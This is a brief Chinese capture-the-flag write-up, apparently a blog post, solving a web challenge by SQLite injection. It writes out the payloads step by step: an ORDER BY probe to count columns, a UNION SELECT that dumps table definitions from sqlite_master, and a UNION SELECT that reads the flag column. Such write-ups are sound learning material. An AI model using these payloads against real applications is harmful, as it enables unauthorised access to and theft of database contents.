打开题目在线环境:

先尝试注入:
id=1;show databases;

发现报错,后来看了wp才知道这个题目是SQLite注入。
我看的是这个师傅的wp:
1.先判断有几列
python
? id=1 order by 6 #
到第六列时:
2.爆出来表名
python
/?id=1 union select 1,2,3,4,group_concat(sql) from sqlite_master

所以我们要找的就是flag表里的flag列
直接payload:
python
/?id=1 union select 1,2,3,4,flag from flag
在这里插入图片描述